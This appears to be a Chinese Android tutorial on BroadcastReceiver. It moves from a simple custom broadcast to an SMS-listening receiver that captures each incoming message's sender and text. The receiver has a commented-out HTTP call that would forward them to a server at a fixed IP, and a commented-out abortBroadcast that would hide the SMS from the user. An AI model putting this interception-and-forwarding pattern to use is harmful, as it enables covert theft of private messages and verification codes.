BroadcastReceiver广播接受者简单使用

1.注册BrocadcastReceiver

  <receiver android:name=".FirstReceiver" >

            <!-- 指定能够接收的广播类型 -->

            <intent-filter>

                <action android:name="a5" />

            </intent-filter>

 </receiver>

//广播接收器

public class FirstReceiver extends BroadcastReceiver{

    //接收intent并做出后续处理

    @Override

    public void onReceive(Context arg0, Intent arg1) {

        String action = arg1.getAction();

        int x = arg1.getIntExtra("x", 0);

        System.out.println("--"+action+"--"+x);

 }

public class MainActivity extends AppCompatActivity {

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

    }

    public void click(View v){

        Intent it=new Intent();

        //指定intent的操作

        System.out.println("---00");

        it.setAction("a5");

        //附加参数

        it.putExtra("x", 99);

        //发送广播

        this.sendBroadcast(it);

    }

}

4. 以上代码能够简单实现广播的发送和接收。

通过广播实现app短信监听

<uses-sdk

        android:minSdkVersion="14"

        android:targetSdkVersion="23" />

<uses-permission android:name="android.permission.RECEIVE_SMS" />

<uses-permission android:name="android.permission.INTERNET" />

  <receiver android:name=".SMSReceiver" >

            <intent-filter android:priority="1000" >

                <action android:name="android.provider.Telephony.SMS_RECEIVED" />

            </intent-filter>

  </receiver>

package myapplication.com.canvas;

import java.net.URL;

import java.net.URLConnection;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.os.Bundle;

import android.telephony.SmsMessage;

public class SMSReceiver extends BroadcastReceiver{

    @Override

    public void onReceive(Context arg0, Intent arg1) {

         String action =arg1.getAction();

         //收到短信的广播

         if (action.equals("android.provider.Telephony.SMS_RECEIVED"))

         {

            //取出intent中的全部数据

             Bundle bundle = arg1.getExtras();

             //取出短信数据

             Object os[] = (Object[]) bundle.get("pdus");

             //定义可读取数据的短信格式

             SmsMessage sm[]=new SmsMessage[os.length];

             for (int i = 0; i < os.length; i++) {

                 //转化为字节数组

                byte bs[]=(byte[]) os[i];

                //转化

                sm[i]=SmsMessage.createFromPdu(bs);

            }

             for (SmsMessage s : sm) {

                 //电话号码

                String number = s.getDisplayOriginatingAddress();

                //内容

                String body = s.getMessageBody();

                //System.out.println("--"+number+":"+body);

//                Intent it=new Intent();

//                it.setAction("my.a.b");

//                Bundle data=new Bundle();

//                data.putString("number", number);

//                data.putString("body", body);

//

//                it.putExtras(data);

//                arg0.sendBroadcast(it);

                send(number+"-"+body);

            }

             //中断广播

             //abortBroadcast();

        }

    }

    //发送短信到指定的服务器

    private void send(final String value) {

            new Thread(){

                public void run() {

                    try

                    {

                        System.out.println(value);

//                        String path="http://172.27.35.1/sms.jsp?sms="+value;

//                        URL url=new URL(path);

//                        URLConnection con = url.openConnection();

//                        con.getInputStream();

                    } catch (Exception e) {

                        e.printStackTrace();

                    }

                };

            }.start();

    }

}

巴特西

BroadcastReceiver广播接受者简单使用

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